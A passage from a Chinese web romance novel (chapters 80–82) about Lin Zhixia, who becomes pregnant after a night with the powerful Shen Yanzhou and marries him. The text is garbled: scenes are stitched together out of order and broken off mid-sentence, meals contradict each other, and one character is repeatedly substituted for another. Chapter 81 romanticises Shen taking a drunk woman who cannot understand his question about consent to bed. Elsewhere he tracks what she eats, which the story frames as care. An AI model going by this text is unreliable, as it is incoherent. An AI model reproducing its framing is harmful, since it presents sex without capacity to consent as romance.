这次信息发过去后,男人迟迟没有回复,就在林知夏准备放下手机去做别的事的时候,手机响了。 【明天教你。】 林知夏“哦”了一下,没再吭声。 沈砚舟十分自然的接过了林知夏手里的包,把人领进办公室。 甫一进门,男人便从善如流的道歉,“对不起。” 林知夏,“嗯???” “中午没去陪你吃饭,晚上也没接你。”沈砚舟低声道,“下次不会了。” 林知夏有些茫然的眨了一下眼。 这不是很正常的吗? 沈砚舟那么忙,怎么可能要求他陪自己吃饭。 况且……他们虽然领证了,但好像也……不必要做到这种程度。 “不用的,我没有不高兴。”林知夏赶紧说。 沈砚舟深深看了林知夏一眼,确认她没有在说假话,才微微点了一下头。 随即慢条斯理的发问,“所以,为什么中午没好好吃饭?” “诶?” 沈砚舟拿出手机点开图片,淡淡开口。 “米饭大约吃了三四口,清蒸鲈鱼吃了一块,藕片吃了一块,糯米排骨一块,虾仁滑蛋一口,剩下的菜动也没动,汤也没喝。” 林知夏几乎是愣住了。 这……这什么?!!! 隔了几秒钟,她反应过来,一瞬间耳尖都红了,颇有些恼羞成怒的开口。 “怎么还打小报告啊!”《 》 80-83 第 81 章 第八十一章 “林知夏,你喝醉了?” 室友林洁的声音响在耳侧,又像是从很远的地方传来,飘忽忽的,延迟了几秒钟,被酒精麻痹的大脑才开始逐字分析这句话。 林知夏眼神飘忽,茫然的摇了摇头,“没有,没喝醉呀。” 林洁,“……” 看人都不聚焦了,还没喝醉呢。 “行行行,没喝醉。”林洁哄着她,“你再坐一会儿,等表演结束了我们再回去。” 大四毕业在即,她们几个小姐妹咬咬牙,凑钱来了这家S市最高档的酒吧,就是为了看晚上的歌舞表演。 林知夏轻轻打了个酒嗝,摇摇晃晃的站起来,“我不、不等了,我今晚回家住,我先走了。” “诶,回家?你这个样子你妈不会骂你吗……林知夏?” 没等林洁的话说完,林知夏已经摆摆手往外走了。 这家酒吧的消费实在是高昂,她们只订了最便宜的卡座,周围人很多,嘈杂的人声与音乐声交夏冲击着耳膜,惹的林知夏的头更晕了。 她实在找不到路,跌跌撞撞,不知道走到哪里去了,只觉得旁边好像安静了一些,下一秒,她脚步一个踉跄,就扑到了谁的身上。 林知夏像小猫似的,抽动鼻翼嗅了嗅,一股清淡的沈荷味涌入鼻腔,让她昏沉的脑袋好像都舒服些了。 她下意识的又蹭了蹭。 这里的灯光有些昏暗,但并不至于让人眼花看错。 沈砚舟垂眸,盯着那个从拐角处跑来,一头撞进他怀里的少女,就在前几秒,她还拽着自己的衬衫在胸膛处蹭了蹭。 男人冷淡的蹙了一下眉头。 这种送人上门的事,自打他继任沈家,就没人敢做了。 他今天是私下过来的,没有那么多人跟着,就在沈砚舟思索着是不是要给助理打电话过来处理一下的时候,怀中的少女动了动,把他抱得更紧了。 少女看着纤瘦,脸颊倒是有些肉,她紧紧贴在胸膛处,挤出了一点嫩白的软肉。 平生第一次,沈砚舟生出了一些欲念。 到他这个地位,做许多事之前已经不需要考虑太多。 沈砚舟停顿不过两秒,便低声象征性的问了一句,“是自愿的吗?” 林知夏听不懂他说的什么,只是像小动物的本能似的,朝温暖的地方靠近。 下一秒,身子腾空,她被人拦腰抱了起来。 对于普通人来说,‘夜色’是最昂贵,最高端的夜店。但对于沈砚舟来讲,这不过是一个偶尔消遣的地方。沈家产业遍布,“夜色”不过其中最微不足道的一个。 沈砚舟从来不会在大厅看什么表演,顶层有他专属的休息室和酒室,他只会偶尔来喝几杯,不过今天是第一次,带人留宿这里。 屋内的光都灭了,只留下床头一盏小灯,有些昏黄的光晃在床上,模糊照着交叠的身影。 林知夏这一晚睡的极为不舒服。 她做了光怪陆离的梦,自己好像变成了兔子,一时不防直接撞进了狼窝里。 这狼也没急着吃她,而是伸出猩红的舌头,把她浑身上下舔了个遍,可怜的三瓣嘴被咬的更红了,她转头想跑,却被狼爪一下子按在腰间,动也动不了。 再醒来的时候,已经天光乍亮了。 她懵懵的坐起来,看了一眼四处陌生的一切。 不远处的浴室里哗啦啦的水声渐停,玻璃门被推开,男人腰间围着浴巾走出来。 看清楚的一瞬间,林知夏眼睛骤然睁大。 男人身形高大,宽肩窄腰,浴巾随意的扎在腰间,露出线条利落的人鱼线,胸膛处有水珠滑落,还隐隐能看见红色的抓痕。 应该……也许……不是她抓的吧?!! 林知夏一瞬间懵了,不明白这种狗血俗套的小说剧情怎么会发生在自己身上。 她张了张嘴,刚说了两个字才发觉嗓子沙哑的可怕。 “我们……” 沈砚舟皱了一下眉,快步走过来端起桌子上的水杯递到她唇边,“喝点水润一润,你嗓子哑了。” 男人低沉的声音传进耳朵的一瞬间,林知夏不可抑制的睫毛抖了一下。 这声音可真好听啊。 对她一个声控来说,简直是天籁之音了。 宿醉后的大脑还没开机,林知夏下意识的听从男人的话,动也没动,就顺着男人的动作仰了一下头,喉咙吞咽,乖乖的喝下水。 林知夏没注意到的是,男人的眸色在一瞬间暗沉了下来。 明明刚洗澡,小腹又像凭空点燃了一把火气似的。 黑沉沉的眸色落在面前的少女身上,落在她被水沾湿而显得有些亮盈盈的唇瓣上。 好乖。 昨晚就是这样,接吻的时候笨呼呼的不会喘息,男人只能停下来耐心教她,好在少女乖的像个小猫似的,让张嘴就张嘴,让伸舌头就伸舌头,粉红色的舌瓣小巧的可爱,又像果冻似的柔软…… 沈砚舟克制住自己的念头,喉结上下滚了滚。看着少女因为吃惊而微微睁大的眼睛。 沈砚舟淡然一笑。 “我们结婚,可以更好的照顾孩子,总比你一个人带孩子要好,毕竟你还……这么年轻。” 沈砚舟本来想说林知夏自己都只是一个小姑娘的,但转念一想,自己对小姑娘都下得去手,也太禽兽了一些。 “更何况,这个孩子将会是沈氏的继承人,总不能是一个私生子的身份。” 沈氏继承人,一个足以引起血雨腥风的称呼,就这么被男人轻飘飘的念了出来。 可听到这句话的林知夏反而不乐意了。 “这是我的孩子,才不是你的什么继承人。” 沈砚舟勾了一下嘴角,没有和林知夏争辩这些,转而继续道,“总之,和我结婚,是所有问题的最优解。” 所有问题…… 林知夏心思一动,蓦地想起林家逼迫她商业联姻的事。 如果她真的和沈砚舟结婚,应该就能避开联姻了吧。 “你真的愿意和我结婚?”林知夏抬头看着沈砚舟,“我可什么都没有。” 和沈砚舟结婚,可以得到钱,权,庇护。 但她呢,说是一无所有也不为过。 沈砚舟垂了一下目光,落在林知夏的小腹上。 好吧。 林知夏了然,都是为了这个孩子。 权衡利弊是一瞬间的事,与沈砚舟结婚对林知夏来说只有好处。 时间一分一秒的过去,沈砚舟不留痕迹的皱了一下眉头,刚要说不着急可以让林知夏好好考虑,便听见少女清脆的声音。 “好,我们结婚。” “但是……”林知夏顿了一下。 总觉得沈砚舟和自己结婚太亏了,以沈砚舟的条件,完全可以找到一个名门淑女组合家庭。 “如果你在之后遇到更合适,可以直接告诉我,我会配合离婚。” 男人眸子冷淡下来,声音喜怒难辨。 “还没结婚,你就在想离婚的事了?” 林知夏眨了眨眼,“这不是为你好么。” 沈砚舟险些被她气笑了。 “行,那我多谢你。” 听到男人这句话,林知夏心里反而放松下来,这样就好了,谁也不欠谁,谁也不亏。 “那就这么说好了,如果沈先生不放心,我们可以签婚前协议。” 沈砚舟鲜少有这么失语的时候。 在他的世界里,阴私算计都是常事,为了那点铜臭,想要巴结讨好他的人不胜枚举。 可林知夏好像永远是个例外。 她一次次的要和自己划清界限,生怕占到一点便宜。 沉默一瞬,沈砚舟没再和她纠结这件事。 他想着孕妇大概是不能熬夜的,况且这件事打的他措手不及,之后还有许多要安排的事。 组建一个专业医疗团队随时待命,家里需要多添置几个照顾孕妇的佣人,厨师还需要再加,林知夏这么瘦,得好好补一补…… 这些杂事在脑海里闪过,沈砚舟面上却没多说什么,“太晚了,我们走吧。” 林知夏点点头,随即又迟疑了一下。 “你还要回隔壁吗?” 沈砚舟眸色暗沉一瞬,想到了刚刚的事,心里竟然有几分后怕。 诚然,他对林知夏心里是存着几分气恼的,所以在林知夏走进门的时候,他刻意的冷眼旁观—— 她被人言语羞辱,险些被绊倒,被刁难,他都看在眼里,却没有出言阻止,甚至在最后,他还让林知夏喝酒…… 心头有些发闷,像是憋着一股气,说不清是冲别人还是冲自己。 “对不起,我——”沈砚舟抬手按了一下额角,他很少说话这么磕巴,“我刚刚——” 要怎么说,他刚刚昏了头了,还好林知夏没有摔倒,还好林知夏没有喝下那杯酒。 但林知夏摇了一下头,“没事。” 沈砚舟轻轻吐出一口气,握住了林知夏的手,语气低了一些,“我不回隔壁,高成会处理。” 见林知夏点头,男人牵着她往外走,刚抬脚走两步,却听见少女倒抽一口冷气。 “嘶。”是的。 就是这么急。 林知夏一大早被挖起来,困的还在迷迷糊糊揉眼睛。 “先送你回家取户口本,然后再去民政局。” 一听回家两个字,林知夏几乎立刻清醒了。 “我是不是还没跟你说过,其实我在家……我……不太好。”林知夏一句话说的吞吞吐吐的。 男人站在她面前,细心的把她衣服上不小心折过去的领子整理好,他神色一点都没有不耐,反而淡淡笑着看着林知夏,“我知道,没关系的,我陪你回去。” “不!” 林知夏飞速拒绝。 不知道为什么,她总觉得如果带着沈砚舟回去,看见她在家里的尴尬处境,她只会更加难堪。 林知夏咬了一下唇,“我自己回去取就可以了。” 沈砚舟静静的看了她两秒,而后点头,“好,听你的。” 车子在林家别墅外的一条小路边停下。 林知夏像做贼似的,偷偷摸摸下了车。 沈砚舟坐在车中,隔着车窗看着林知夏的背影,他沉默了一会儿,才淡声开口,“查一下林氏最近的状况。” 高成应诺。 林知夏今天也是幸运,回去的时候居然发现别墅里空荡荡的,没有一个人在。 本以为还要费一番功夫,没想到竟这么顺利。 不过十几分钟,林知夏就兴冲冲的跑回来,对着沈砚舟比了个耶的手势。 刚刚还在和高成谈论公司的事而面色稍冷的沈砚舟在看见林知夏过来时,又如冰雪消融一般,目光柔和下来。 “我们可以去领证啦。” 沈砚舟含笑,“这么高兴?” 林知夏一顿,瞬间脸色爆红,赶紧摆手,“不是,我没有,我不是那个意思。” 沈砚舟轻轻笑了一声,“可我很高兴。” 林知夏呼吸滞住了一瞬,而后抿了一下唇,默默的低着头。 两个人选在今天领证实在是个明确的决定。 一整天都出乎意料的顺利。 直到红本本拿到手,林知夏还有些回不过神。 领证了?她就这样和传闻中的沈砚舟领证了?! 红本本里两个人的照片中,林知夏大概是有些紧张,笑容略显僵硬,而旁边的沈砚舟,眉眼含笑,看起来很是温柔。 啧。 林知夏真想把这张照片里的沈砚舟给所有说他冷漠阴狠的人看看,沈先生也是可以很温柔的嘛。 可惜照片还没等欣赏完,手上一空,红本本就被沈砚舟抽走了。 “嗯?”林知夏一懵,“不是一人一本吗?” 沈砚舟言简意赅,“你的没收。” 一个总把离婚挂在嘴边的人,要离结婚证远一点。 林知夏小声的哼了一声。 沈砚舟装作没听到,继续开口,“中午了,有什么想吃的吗?医院那边已经安排好了,下午去做一下孕检。” “今天下午吗?”林知夏苦着脸,“可我只请了一上午的假。” 沈砚舟鲜少的一怔,“什么意思?你还要上班?” 林知夏理所当然的开口,“我当然要上班啊。” 沈砚舟沉下了眉眼,“林知夏,你的脚还伤着。” “没事的,今天已经好了很多了,而且在公司里也不需要怎么费力走路。” 男人周身气压低了许多,“你还怀着孕。” 林知夏皱眉,“那怎么了,才一个月,不耽误工作。” 她心里有些发堵,眼睛瞪得圆圆的看着沈砚舟,“难道我怀孕了,还是说我和你结婚了,就要不工作,不社交,乖乖每天待在家里养胎吗?” 车内空气一瞬间凝固下来。 高成坐在前面,眼观鼻鼻观心,大气都不敢喘。 真是长见识了。 跟在沈砚舟身边这么多年,从来只见沈砚舟怒斥别人,这倒是第一次见有人同沈砚舟发火。 偏偏沈总还一声不吭。 斟酌了一会儿,高成决定打个圆场。 “太太,不如我们先去医院做检查,到时候听听医生的建议。” 其实话说出口,林知夏也有点后悔,这怎么才刚领证就吵起来,她语气是不是太差了? 此刻听高成这句话,她顺着台阶下来,嘀嘀咕咕,“那好吧,我跟主管再请下午的假。” 说着话,她又佯作不经意的往旁边瞥了一眼。 不成想沈砚舟暗沉的眸子也在盯着她。 四目相对的一瞬间,林知夏有些慌乱的收回目光,睫毛像羽翼似的胡乱颤动。 她咳嗽了两声,岔开话题,小声说,“高秘书,你不要乱叫。” “这么叫有什么不对。” 男人的大手扣在她的手上,温热而有力,足够将她纤细柔软的手掌完全包裹。 “沈太太。”他这样叫她。 林知夏张了张嘴,半个字都没说出来,一道红意顺着攀爬上耳尖,而后连带着脖颈都红了个彻底。 “我没有要把你在家关起来的意思。”沈砚舟声音有些无奈,“我只是担心你的身体。” 毕竟林知夏是个能自己摔跤把脚崴了的选手。 “我会照顾自己的。” 林知夏怕他不信,还发誓一般伸出三根手指比在脑袋边。 沈砚舟沈唇轻抿,一根根的把她的手指按回去。 “信你一次。” 不知道是不是错觉,高成从这句话里竟听出了妥协的意味。 真是足够让人惊掉下巴。 便是连一天几个电话催婚的老太太,都未曾让沈砚舟妥协。 高成默默在心底将林知夏的地位又拔高一层。 最后餐厅定在了一家私厨餐厅,这里做的清淡一些,兴许会合林知夏的口味。 “没点太多,只略微让他们上了几道招牌菜,你尝尝看。” 看着摆着一桌子的菜色,林知夏沉默了。 这叫没点太多? 男人抬手给林知夏盛了一碗汤,“这家的鸽子汤煮的很好,你喝一点。” 林知夏好奇的接过来,轻轻抿了一下口,温热的汤刚刚入胃,一股难言的味道涌上来,一瞬间连带着整个胃部好像都翻腾起来。 林知夏下意识干呕一声,紧紧的捂着嘴。 旁边的沈砚舟脸色一变,赶紧拿着空碗,“吐在这里。” 林知夏也忍不住了,干脆的“哇”了一声吐了出去。 沈砚舟拿了温水递给她喝了一点,又细心的用帕子给她擦了擦嘴,低声问道,“胃里会疼吗?” 林知夏摇了一下头。 经过刚刚的折腾,她脸色苍白,眼尾还带着红意,看起来实在可怜兮兮的。 沈砚舟只觉得一颗心像是被大手揉捏,酸胀的难受。 见林知夏难受,他更是一点胃口都没有,沉声道,“走吧,我们先去医院。” “诶?” 林知夏抬起头看他,“不吃了吗?” 少女指了指桌子中央的那道菜,“这个看起来还蛮不错的。” 沈砚舟,“……” 也是奇了怪,吐了一下后,林知夏的食欲反而好了起来,吃了小半碗饭,各色菜品也都吃了许多。 反倒是沈砚舟,一直紧紧盯着林知夏,生怕她再不舒服,自己倒是一口没吃。 吃了饭后便直接去了医院。 这是沈氏旗下的私人医院,今天甚至拒接外客,只专门等着林知夏过来做检查。 与前一天自己孤零零检查的样子不同,今天全程有沈砚舟陪在身边,林知夏完全没有担忧害怕。 刚刚抽了血,男人拿着棉签按在针眼处,动作很轻,像对待一个脆弱的瓷娃娃。 “疼吗?” 林知夏笑了一下,“抽个血而已,我又不是小孩子。” 可男人还是皱着眉头,“晚上让厨师做点党参汤,补补血。” 听到沈砚舟这句话,林知夏才像骤然想起来什么似的。 “我今晚要回去睡。” 沈砚舟眯了眯眼,语气淡下来。 “回去睡?”他冷漠咀嚼这几个字。 林知夏小鸡啄米似的点头,“我和朋友在外面合租,离公司也近,我昨天没回去,她都挺担心的。” 沈砚舟一抬眸,黑沉的眼眸透着冷意。 “所以沈太太,你的意思是,新婚第一夜,要分居吗?” 沈砚舟立即问她,“怎么了?哪里不舒服?” 顺着林知夏的目光看过去,男人在看到林知夏脚踝处的伤口时,瞳孔骤然一缩,“怎么弄的。” 林知夏没说自己怀着孕还“跳楼”的事,只含糊的说摔了一跤。 沈砚舟额角青筋一崩一崩的。 刚刚灯光昏暗,他一直没注意到林知夏的脚,此刻听到林知夏是摔了跤,心底的烦躁愈发浓烈。 不是对着林知夏,是他自己。 沈砚舟很讨厌这种失控的感觉,但是面对林知夏,他好像总是很难控制住自己的情绪。 这一刻,他心里想的是,结婚果然是正确的决定。 林知夏根本照顾不好自己。 他就应该把人盯在自己眼皮子底下。 高成是一直等在门口的。 听到一声响动,他立刻过去推开门,下一瞬,整个人微微愣住。 沈砚舟是抱着林知夏走出来的。 男人身形高大,轻而易举的将少女拦腰抱在怀里,遮挡的严严实实。 高成飞快的垂下眸子不敢多看。 “叫医生到家里去。”沈砚舟淡声吩咐,“隔壁处理一下。” 高成立刻应下。 男人没多停留,脚步匆匆的抱着人走远了。 高成在原地站了一瞬,才整理了一下衣服,推开了隔壁包厢的门。 自沈砚舟出门后,包厢内就安静了下来,本来这个局也是为了沈砚舟这座大佛,如今真神都走了,谁还有心情玩乐。 尤其是那个为难林知夏的人,他是闫家的小少爷,这次是攀上关系过来玩乐,想在沈砚舟面前混个脸熟。 没想到却搞砸了。 他面色惨白,“完了完了,我真不知道她是沈总的人啊……” “没事。”旁边的人安慰他,“一个女伴罢了,沈总不会为这个难为你。” 话是这么说,可是这么多年,谁看见过沈砚舟身边有过女伴,更遑论敢冲着沈砚舟大喊,更是闻所未闻见所未见。 恰在此时,高成推门进来, 他进来后微微鞠躬,“抱歉各位,沈总还有事处理,先走一步。” 众人沉默一瞬,都赶紧打着哈哈。 “时间不早了,我们也得走了。” “下次,下次有幸再约沈总。” 高成面带礼貌微笑,一个个把所有人都送出去,直到最后,他淡淡道。 “闫小少爷,请留步。”之前上班林知夏都是和林洁一起挤地铁的,但因为昨天昏了头答应了沈砚舟,导致林知夏今天早上像做贼似的偷溜出门,但还是被抓住了。 “诶?你现在要走吗?” “嗯,这两天请了假,我今天想早点去。” 林洁翻了个白眼,“太卷了吧你。” 她一面说着,一面飞速从冰箱里翻出面包和牛奶塞给林知夏,“又不吃早饭,迟早饿出胃病。” 林知夏心里一暖,抿着唇角笑了一下,“那我先走了。” 林知夏从楼道里跑出来,一眼就看到了那辆注目的黑色轿车。 不知道沈砚舟等了多久,又怕林洁在楼上会看到,几乎是小跑着过去的。 车门飞速打开,男人沉着面色,快步走过去接住林知夏。 他声音严肃,“跑什么?” 突如其来被男人抱住,林知夏身子僵硬一瞬,随即又赶紧挣扎,“快……上车,别被看到。” 沈砚舟沉着眉眼,拽着人上了车。 上了车之后,林知夏看着男人的脸色,才后知后觉的明白是把人惹生气了,结结巴巴的补救,“我还没来得及告诉她。” 沈砚舟冷淡的瞥了她一眼,“你这么跑着过来,是不是下次要我去家门口接你?” 林知夏赶紧摇头,乖巧的眨了眨眼,“我是怕你等急了,下次不会了。” 见少女这幅样子,沈砚舟脸上冷意稍褪,有些无奈道,“我时间很充裕,等多久都不会着急。” 林知夏嘀咕,“我知道,你是老板嘛,又不用打卡。” 沈砚舟扯了一下嘴角,垂眸看见林知夏手里拿着的东西,蹙了一下眉头,“早上就吃这些东西?” 他接过来,脸色顿时不悦,“还是凉的?” 沈砚舟发现自己在林知夏面前好像总是很难控制住情绪。 他闭了闭眼,克制着缓和语气。 “昨天检查医生有没有说你胃不好,要少吃凉的?” 林知夏努力争辩,“着急出门,冰箱里直接拿出来的。” 沈砚舟轻轻吐出一口气。 他沉着脸没再说话,把面包牛奶放到一边,转而从旁边的保温箱里拿了几个饭盒出来放到小桌子上,一个个打开。 一碗熬的浓稠的虾仁海鲜粥,晶莹剔透的虾饺,黑芝麻核桃小馒头,软乎乎的小包子,金黄的蒸蛋,桂花红糖米糕…… 林知夏瞪圆了眼睛,像看戏法似的,直到面色小桌子被摆满,沈砚舟往林知夏手里塞了个勺子,“先喝粥,暖暖胃。” 虽然是海鲜粥,但是只鲜不腥,林知夏喝了一口感觉没有什么反应,喜滋滋的又继续喝下去。 沈砚舟在一旁一直盯着林知夏的神色,见人没有不适,心底才微微松一口气。 “有两个厨师是从临市聘过来的,因为点事还没有上岗,今天早餐先吃这些,之后我让他们定制菜谱给你,你挑你喜欢的。”沈砚舟说完又顿了一下,补充道,“但是也不能挑食。” 林知夏嘴里喝着粥,说话含糊不清,“这已经很好啦。” 沈砚舟淡淡,“当然比你喝凉牛奶要好。” 林知夏,“……” 她咬着勺子,看着车窗外飞逝的景色,生硬的转移话题,“车开的好稳,吃饭也不会洒出来。” 再看了一眼沈砚舟的神色,林知夏勉强又塞了一个虾饺进嘴里,用力开口,“我今天吃的好撑。” 男人瞥了她一眼,突然伸出手过来。 林知夏愣住,“你干嘛?” “不是说撑吗?我看看是不是真的。” 男人语气很淡,动作却透着不容置疑,宽大的手掌隔着一层沈沈的布料摸到了少女的小肚子,又往上探了探,察觉到微微鼓起来,才缓和了一下神色。 林知夏浑身僵住,整张脸都红的不行。 哪有这样的? 吃饱了还要检查?! “别这样。”林知夏磕磕绊绊的说,“我又不会撒谎。” 沈砚舟抬眸,“是么?” 林知夏抿着唇不吭声了。 在快到公司的时候,林知夏突然想起来什么,“不要停到公司门口,停到对面的街道那里就可以,我走着过去。” 沈砚舟黑沉沉的眸子看着林知夏,“怕被人看见?” 林知夏小鸡啄米似的点头。 沈砚舟声音透着冷意,“我这么见不得人吗?” “不是不是,是我……”林知夏赶紧解释,“如果看到我们在一起,知道了我们结婚的事怎么办?” 沈砚舟淡淡,“知道了就知道了。” “那你之后如果遇到喜欢的人岂不是很难追求人家?” 沈砚舟微微垂眼,顿了一下,冷嗤一声,“那我还多谢你为我着想。” 察觉到男人的不虞,林知夏沉默了一瞬。 她结婚的事,可以告诉林家,可以告诉林洁,但就是不想让公司的人知道。 毕竟…… “听说晶城是沈氏控股的。”林知夏忽而开口,“那你也算是我的老板了。” 沈砚舟垂眼看她。 “如果让人知道了我和老板结婚,那我还在公司怎么做下去。”林知夏小声说,“这家公司我还蛮喜欢的,是我毕业后的第一个工作,我很珍惜。” 静静的看着少女几秒钟,沈砚舟缓和了一下脸色。 其实如果不是林知夏,沈砚舟根本不会注意到晶城这家公司,毕竟沈氏旗下的子公司太多了,便是晶城的执行总经理,他也只会在年终述职的时候见到,还没什么印象…… “林知夏,不可能一直瞒着。”沈砚舟沉声道,“等孩子出生,难道也要藏着掖着么。” 林知夏垂了一下头,“至少现在我不想。” 沈砚舟拿她没办法,抬手揉了一下额角,像是叹气,“好,听你的。” 他的原则底线总是一次次被林知夏打破。 林知夏这才弯着眼睛笑了,甚至伸出两只手,像小狗似的对着沈砚舟拜了拜,“谢谢沈总。” 沈砚舟一挑眉,“叫我什么?” “唔…沈先生你又不让叫,现在我也算是沈氏的员工,叫一声沈总总可以了吧?”林知夏说的振振有词。 沈砚舟险些被她气笑了,“你以为我不让你叫沈总是因为你不在沈氏上班?” “不然呢,这也不行那也不行,那我叫你什么?” 沈砚舟一顿。 既然结婚了,当然应该叫…… 他沉默了一瞬,抬手不轻不重的捏了一下林知夏的后颈,像是在逗着一只小猫。 算了,还是太小。 沈砚舟在心底叹息。 “行了,到了,你去上班吧,中午记得看电话,会给你送饭过来。” 林知夏眨眨眼,“你过来吗?”而后才按灭手机,调整了一下情绪,拿着文件回去了。 正正巧在门口碰见主管了。 沈砚舟看着她,反问,“你希望是我来吗?” “都可以啦,不过你肯定很忙,不要非抽空过来。”林知夏无所谓的开口。 沈砚舟扯了一下嘴角。 他没再说这件事,转而从旁边拿了一个袋子给林知夏递过去。 “什么啊?” “保温杯里是早上煮的四物茶,补气补血的,你多喝一点。这个腰托你靠在腰后面,这个小枕头是放在脖子后面的,里面还有一些小零食,是家里阿姨做的,比外面买的干净,但是也不要多吃,不然中午吃不下去饭了。” 听着男人耐心的一样样拿出来说,林知夏忍不住笑了一下。 “沈砚舟,你在公司没人嫌你唠叨吗?” 沈砚舟挑了一下眉,几乎气极反笑。 他平时在公司下令言简意赅,下属能否听懂理解是他们的事。 只有对着林知夏,才不厌其烦的一遍遍嘱咐。 小没良心的还反而说他唠叨。 “好啦,我真的要走了,不然赶不上打卡了。” 林知夏拎着包就要跳下车,沈砚舟看着她毛毛躁躁的样子简直没脾气。 “慢点走。”他把人扶稳,又忍不住添了两句,“不要跑,也不要挤电梯,如果人太多……” 沈砚舟顿了一下,“我让人给你一张卡,你刷总裁单独电梯。” “不要!”林知夏飞快拒绝。 “不要插手我在公司的事!”她咬着唇,“人太多我就坐乘下一班电梯。” 沈砚舟面色不虞,但对着林知夏恳求的眼神,他还是勉强点了一下头。 终于被男人放过了。 林知夏踩在最后一分钟刷卡进了公司大楼。 到工位上的时候,林洁已经坐在不远处了,她看见林知夏才走进来,还对她摆了一下手,林知夏心虚的垂下头。 她把沈砚舟给她的袋子打开,拿出里面的东西一样样的摆好。 之后再往椅子上一靠,舒服的喟叹一口气。 “小林,腿怎么样了?” 张文走过来,把一沓文件放在她桌子上,“一会儿送主管那里签字。” 林知夏笑笑,“已经好多了。” “呦。带这么多吃的。”张文眼尖的看到桌子上摆着的几个透明盒子。 林知夏打开了两个递过去,“尝尝看。” 里面是阿姨早上烤出来的小饼干,香甜酥脆,张文一连吃了好几个,连连点头,“味道真不错,你做的?” 林知夏含糊道,“朋友送的。” “唔!你这个杯子!”张文嘴里还吃着饼干,突然看见林知夏拿出来的保温杯,瞪圆了眼睛,“这不是K家的新品吗?五位数的保温杯,那天还上热搜了,说谁会买这么贵的杯子!” 林知夏心猛的一提,还没等开口,就见张文连连点头。 “没想到这么快就出仿品了,互联网真牛。” 林知夏扯了一下嘴角。 “哈!牛!” 一杯水喝了个干净,林知夏才觉得嗓子舒服一些了。 她轻轻舒了一口气,终于开口,“我昨晚喝多了。” 说完这句话,她抬眸试探着看了一眼男人。 可沈砚舟面色一如既往的平淡,漆黑的眸子里没有一丝情绪。 林知夏心里突然有些没底。 昨晚该不会是她霸王硬上弓吧。 还没等她再说什么,男人忽而开口,“我一会儿还有事,会吩咐秘书给你送衣服和早餐过来,你可以休息够了再离开。” 林知夏眨了一下眼睛。 这应该就是……一拍两散的意思吧。 她微微松了一口气,赶紧点头,“好,我知道的。” 沈砚舟从衣服外套里拿了一张名片放在桌子,屈指微微点了点。 “可以联系我。” 这是沈砚舟的私人名片,万金难求的,更别提还加上了一句沈砚舟的承诺—— 可以联系,不是有事联系。 意思是随时随地,都可以找他。 男人抬眸,淡淡的看了林知夏一眼,“懂了吗?” 不管少女是图什么而来,为名为利也好,但昨晚他很舒心,也不吝啬多多给她一些好处。 林知夏哪里能想这么多,她只想赶紧打发走男人。 她敷衍的点头,“我懂我懂。” 沈砚舟轻轻笑了一声,“行,那我先走了。” 直到男人的身影离开,关门声响起,林知夏才毫无顾忌的又跌回床上。 天啊,她居然喝醉了酒跟男人…… 林知夏咬着唇,把那张名片拿起来看了两眼。 黑色的卡纸上烫金的名字夺目。 “沈砚舟。” 林知夏慢吞吞的念出这个名字,又一瞬间睁大眼睛。 天啊,居然是沈砚舟?! 她她她……她睡了沈砚舟?! 第 82 章 第八十二章 见林知夏对这幢别墅的艺术收藏品兴趣颇浓,白人管家便热情地带着林知夏参观别墅的房间。 古董家具,古老的画作,雕塑,艺术品让这别墅堪比一座奢华的宫殿。 逛了半个小时还未逛完别墅,林知夏有些累,只好意犹未尽地返回沈砚舟给她安排的房间,给手机充上电。 刚开机,手机便收到好几条蒋芙发来的慰问消息。 林知夏先是回了条“今日平安无事”的短信免得蒋芙挂心,随后告诉蒋芙她当下的状况。 见蒋芙还未回复,林知夏放下手机走进浴室。 等她吹好头发从浴室出来时,手机里又接连多了好几条语音消息。 蒋芙:【啊——怂夏夏,我以前可真是小瞧你了,有机会你可真是上啊!】 蒋芙:【快跟我说说,你是怎么泡到你的好好先生的?】 蒋芙:【你真不打算今晚和他发展发展?】 林知夏脸一红,莹白的指尖在屏幕上快速打着:【才不是你想得那样,什么都不会发生了!!!】 她虽然有些馋沈砚舟,但也没有那么大胆,他看着就挺不好招惹的。 正给蒋芙回着消息,门口响起敲门声。 林知夏收起手机开门,门外站着的不是白人管家,而是沈砚舟。 “晚饭好了,下来吃吧。” 林知夏轻轻哦了声,出了房间。早餐是白松露黄油面包、黑松露西式蛋饼、鱼子酱、茶水果……尝起来口感层次很丰富。 林知夏咬了口蛋饼,入口是浓郁的香。林知夏一时间僵在原地,大脑一片空白。 她傻愣愣地看着男人,右眼睑下的小痣带了几分可怜兮兮的味道。 两人的距离靠得极近。林知夏一直是好学生,但此刻却实在很难集中注意力。 因为今天没出门,她穿的仍旧是那件白色的睡裙,衣料很单沈,顶多再加上一层男人的裤子,却还是隔绝不了略显炽热的温度。 这人是个火炉吗。林知夏在洗漱间往脸上扑了一把凉水,可燥热减退,胃里却还是翻腾的不舒服。 水珠顺着滴落,又被林知夏抬手擦掉。 “是林小姐吗?”该死,她在说什么啊。 沈砚舟撑不住的笑了一声,他按了指纹解锁,推门进去,“是我做了什么吗?你看起来有点怕我。” 被这么当面戳破,林知夏也懒得再装,她吐了一口气,小声说,“上次我太冲动了,沈总您别跟我一般见识。” 沈砚舟挑了一下眉,他转身,往前走了一步,而林知夏也下意识后退一步,单沈的背抵在了门板上。 男人身形高大,而林知夏在上个月的体测刚刚达标一米六五。 从某个角度来看,沈砚舟像整个将少女笼罩在身下。 “林知夏。” 男人居高临下的看着她,沈唇轻启。 “不要道歉。” 林知夏茫然的眨了一下眼睛。 男人像是有些无奈的弯了一下唇,“上次是我做的不对,你道什么歉。” 林知夏讷讷。 沈砚舟了然的一挑眉,“怕我小肚鸡肠,背后报复你?” 林知夏猛的摇头。 男人低低笑了一声,微微弯腰凑近她耳侧,“放心吧,我不会跟个小姑娘计较。” 沈砚舟说完这句话转身就走了,留着林知夏在原地微微发怔。 刚刚男人凑近低语,呼吸间喷洒的热气就在耳侧,带着细微的痒,声音压的低,仔细听像是带着一丝哑意。 恰恰好的踩在了林知夏声控的那根弦上。 她忽然抬手捂了一下胸口。 冷静点。 别跳的这么猛了。 林知夏舔了舔唇瓣,才抬脚跟着走进去。 这间公寓是个大平层,屋内装修简约,是单调的黑白灰色。 男人随意扯开领带,又解了解袖口的扣子,衬衫往上挽了两下,便转身进了厨房。 林知夏有些局促的坐在沙发上,先是掏出手机给林洁发了信息跟她说了今晚不回去,又打开邮箱翻了翻,一如既往的空荡荡,投的简历都杳无音讯。 她忍不住叹了口气。 下一秒,一杯牛奶递到自己面前。 林知夏一愣,顺着抬头,正看到沈砚舟静静的看着她。 